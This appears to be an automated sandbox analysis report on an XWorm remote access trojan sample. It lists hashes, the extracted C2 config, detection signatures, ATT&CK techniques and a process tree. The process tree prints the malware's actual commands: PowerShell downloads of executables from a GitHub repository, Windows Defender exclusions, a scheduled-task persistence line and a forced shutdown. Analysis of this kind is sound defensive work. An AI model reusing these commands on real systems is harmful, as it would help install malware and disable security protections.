xworm | ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234

Reason

Machine shutdown

General

Target

ExodusLoader.exe
Size

89KB
MD5

2f3405fa61bec944ed9d869adb6a37e3
SHA1

4a3c839b899809ba89a99eaadecf4da6d71e8256
SHA256

ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234
SHA512

72c8309a2c439adb3790aaf7198d5cdfa5591703a039ca84982752dfc43213a94885aab5a82fc0cfd78e161a792d2c1684e0cae7e4e7d772cc98be4aabdc33c0
SSDEEP

1536:77fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfAwWOn:X7DhdC6kzWypvaQ0FxyNTBfAg

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

137.184.74.73:5000

Mutex

Y2rnj2CSRObOXXLb

Attributes

Install_directory
%ProgramData%
install_file
System.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3092-72-0x0000000002A60000-0x0000000002A6E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
8	3980	powershell.exe
10	3980	powershell.exe
29	4768	powershell.exe
30	4768	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2756	powershell.exe
1092	powershell.exe
3980	powershell.exe
4768	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
10	3980	powershell.exe
30	4768	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation	ExodusInject.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation	AggregatorHost.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	AggregatorHost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	AggregatorHost.exe

Executes dropped EXE 4 IoCs

pid	Process
4304	ExodusInject.exe
1332	Exodus.exe
3092	AggregatorHost.exe
1284	System.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
10	raw.githubusercontent.com
30	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExodusLoader.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1468	timeout.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "235"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2724	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3980	powershell.exe
3980	powershell.exe
4768	powershell.exe
4768	powershell.exe
2756	powershell.exe
2756	powershell.exe
1092	powershell.exe
1092	powershell.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	3980	powershell.exe
Token: SeDebugPrivilege	4768	powershell.exe
Token: SeDebugPrivilege	4304	ExodusInject.exe
Token: SeBackupPrivilege	5104	vssvc.exe
Token: SeRestorePrivilege	5104	vssvc.exe
Token: SeAuditPrivilege	5104	vssvc.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	1092	powershell.exe
Token: SeDebugPrivilege	3092	AggregatorHost.exe
Token: SeDebugPrivilege	3092	AggregatorHost.exe
Token: SeDebugPrivilege	1284	System.exe
Token: SeShutdownPrivilege	1820	shutdown.exe
Token: SeRemoteShutdownPrivilege	1820	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2848	LogonUI.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4392 wrote to memory of 3636	4392	ExodusLoader.exe	87
PID 4392 wrote to memory of 3636	4392	ExodusLoader.exe	87
PID 3636 wrote to memory of 3980	3636	cmd.exe	88
PID 3636 wrote to memory of 3980	3636	cmd.exe	88
PID 3636 wrote to memory of 4768	3636	cmd.exe	92
PID 3636 wrote to memory of 4768	3636	cmd.exe	92
PID 3636 wrote to memory of 4304	3636	cmd.exe	93
PID 3636 wrote to memory of 4304	3636	cmd.exe	93
PID 3636 wrote to memory of 1332	3636	cmd.exe	94
PID 3636 wrote to memory of 1332	3636	cmd.exe	94
PID 4304 wrote to memory of 2756	4304	ExodusInject.exe	99
PID 4304 wrote to memory of 2756	4304	ExodusInject.exe	99
PID 4304 wrote to memory of 1092	4304	ExodusInject.exe	101
PID 4304 wrote to memory of 1092	4304	ExodusInject.exe	101
PID 4304 wrote to memory of 4408	4304	ExodusInject.exe	104
PID 4304 wrote to memory of 4408	4304	ExodusInject.exe	104
PID 4408 wrote to memory of 1468	4408	cmd.exe	106
PID 4408 wrote to memory of 1468	4408	cmd.exe	106
PID 3092 wrote to memory of 2724	3092	AggregatorHost.exe	110
PID 3092 wrote to memory of 2724	3092	AggregatorHost.exe	110
PID 3092 wrote to memory of 1820	3092	AggregatorHost.exe	125
PID 3092 wrote to memory of 1820	3092	AggregatorHost.exe	125

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe
"C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4392
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\C11D.tmp\C12E.tmp\C12F.bat C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3636
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/ExodusInject.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/Exodus.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Exodus.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4768
- - C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe
    "C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1092
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF0C8.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4408
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:1468
- - C:\Users\Admin\AppData\Local\Temp\Exodus.exe
    "C:\Users\Admin\AppData\Local\Temp\Exodus.exe"
    3⤵
    - Executes dropped EXE
    PID:1332

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5104

C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
1⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3092
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System" /tr "C:\ProgramData\System.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2724
- C:\Windows\system32\shutdown.exe
  shutdown.exe /f /s /t 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1820

C:\ProgramData\System.exe
C:\ProgramData\System.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1284

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa392b055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
612b19feac3b60bdc771ec888769ea75

SHA1
cc0117dc3f83e139f22d7c9f068a0fa2027fc8fb

SHA256
3eb12f5e02a7aad8764186e1f62d9cebcc8667c854ebf4356fe404f042b84ec1

SHA512
2f56333015641eb11b853a350ca5a01763ab9fd2d572fca51ba2d7df3018546c9667a64ba670e443e0fef5c10879964bfe18084ae0b44e95cb17dcc864ffd4af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c8e7313b7a3520e07660e8eeef3a4fb2

SHA1
8292509f1507be8a9b1b4f74d06c3bb2265b8fe6

SHA256
ed4cf88c79cacd3b75a226b4ec34db47c972288b1f6902a32ec8efa2e9b33cb9

SHA512
b611f6b91eaab91e5a58b187edc1ec3e960e5123df72d7bbe1433715ba67f458a2c23ac88eeed9130e841047c979e62544aafa4255878173362ee840dbf70c2f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
8e4e462e64126355db69af06ba8f774e

SHA1
279d1d08ad530bf8a249366c5d927e1533f77f1a

SHA256
c263a08e8768e9038dc462db8782f66ce94230ce8a372d7320e8eb7f862a3f76

SHA512
92bd1d207d3f9d139e949e47f70d69ef1be8d40c11b03fd2bebb22bfeb598b6065921a1f3ec931e8a4d4dfdb8974a8405f17a1b3f54e4fc549fd8ea1dd5fb353

Download Submit
C:\Users\Admin\AppData\Local\Temp\C11D.tmp\C12E.tmp\C12F.bat

Filesize
491B

MD5
54436d8e8995d677f8732385734718bc

SHA1
246137700bee34238352177b56fa1c0f674a6d0b

SHA256
20c5e5f392f2ad19b9397fd074d117c87ca3da37f1151736dbd20322ea7e12c3

SHA512
57ffc0f920bbaf36bbd22ea90c14670f44766e4b81509f54b1dec1be4443e51d8bf0997198de0851e1ea4993e5d786e21c9c1f7f17c792da88eb6bb4a324f448

Download Submit
C:\Users\Admin\AppData\Local\Temp\Exodus.exe

Filesize
507KB

MD5
470ccdab5d7da8aafc11490e4c71e612

SHA1
bc540c0ba7dcb0405a7b6c775f0a1b585d51c4b3

SHA256
849c0420722c1dabb927ff0ab70375bc1197ba73a7f04885460b609392bd319c

SHA512
6b3a09b785c02a57f6330cd6610f8a78b1f6a1689c14a190a9af4ad4ab4666f8a77d75c4c85a3af04693effdc970440ce8d62a4132f66471aaa250f9d90f2f7b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe

Filesize
227KB

MD5
38b7704d2b199559ada166401f1d51c1

SHA1
3376eec35cd4616ba8127b976a8667e7a0aac87d

SHA256
153825af8babb75361f4af359bfdd5e95cbdc7f263db5c4e70ac1da8f36bc564

SHA512
07b828073c8f80c5498501c8f64decb5effa702c8bc3d60a2f7d5de36d493b469cbbf413fb0c92c0aadd6ee139bfb75f3b9e936230212d42e57d2ec5671e9b27

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zuxsozni.wgq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpF0C8.tmp.bat

Filesize
164B

MD5
9db85a9f714e9e134b399357f11899a1

SHA1
a1545d848656fb026c49e1a914a3493aca83297d

SHA256
82b1f3cc86c33e05b809dbb774aa0c0550a3687dc7d8c06ff49ca9d29be85522

SHA512
0a59707dc910d641cdc1de4d9b73e48f780d6f18e6705396412839e3fbe4cf672f11d546a177de2b1cafe0a72459e34611f552f87bdda9bda44c87576ae7335a

Download Submit
memory/3092-77-0x000000001CAC0000-0x000000001CACC000-memory.dmp

Filesize
48KB

Download
memory/3092-72-0x0000000002A60000-0x0000000002A6E000-memory.dmp

Filesize
56KB

Download
memory/3980-18-0x00007FFFBED30000-0x00007FFFBF7F1000-memory.dmp

Filesize
10.8MB

Download
memory/3980-14-0x00007FFFBED30000-0x00007FFFBF7F1000-memory.dmp

Filesize
10.8MB

Download
memory/3980-13-0x00007FFFBED30000-0x00007FFFBF7F1000-memory.dmp

Filesize
10.8MB

Download
memory/3980-12-0x000001EEBB670000-0x000001EEBB692000-memory.dmp

Filesize
136KB

Download
memory/3980-2-0x00007FFFBED33000-0x00007FFFBED35000-memory.dmp

Filesize
8KB

Download
memory/4304-41-0x00000000002C0000-0x0000000000300000-memory.dmp

Filesize
256KB

Download
memory/4768-35-0x00007FFFBED30000-0x00007FFFBF7F1000-memory.dmp

Filesize
10.8MB

Download
memory/4768-32-0x00007FFFBED30000-0x00007FFFBF7F1000-memory.dmp

Filesize
10.8MB

Download
memory/4768-31-0x00007FFFBED30000-0x00007FFFBF7F1000-memory.dmp

Filesize
10.8MB

Download
memory/4768-20-0x00007FFFBED30000-0x00007FFFBF7F1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads